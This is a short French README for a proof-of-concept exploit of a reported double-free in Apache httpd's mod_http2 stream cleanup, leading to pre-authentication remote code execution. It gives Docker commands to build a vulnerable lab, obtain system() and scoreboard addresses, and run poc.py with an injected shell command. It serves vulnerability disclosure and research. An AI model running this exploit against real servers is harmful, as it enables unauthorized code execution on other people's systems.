
Double-free dans le nettoyage des flux de mod_http2 d'Apache httpd menant à une RCE pré-auth.
Double-free dans le nettoyage de flux mod_http2 d'Apache httpd conduisant à une exécution de code à distance (RCE) avant authentification.
Affecté : httpd 2.4.66 avec mod_http2 et MPM multi-threadé (event/worker). Corrigé dans : 2.4.67.
Découvert et rapporté par Bartlomiej Dmitruk (striga.ai) et Stanislaw Strzalkowski (isec.pl).
Analyse : https://striga.ai/research/apache-httpd-mod-http2-double-free
Construire et démarrer l'environnement vulnérable :
docker build -t httpd-poc .
docker run -d --name httpd-poc --privileged -p 9443:443 httpd-poc
Obtenir les adresses de system() et du scoreboard :
docker exec httpd-poc python3 /getaddr.py 1
Exécuter l'exploit :
python3 poc.py --host localhost --port 9443 \
--cmd 'date >> /tmp/win' --workers 64 \
--system <system_addr> --scoreboard <scoreboard_addr>
Vérifier (l'exécution est probabiliste, peut prendre de quelques minutes à plusieurs heures) :
docker exec httpd-poc cat /tmp/win
docker rm -f httpd-poc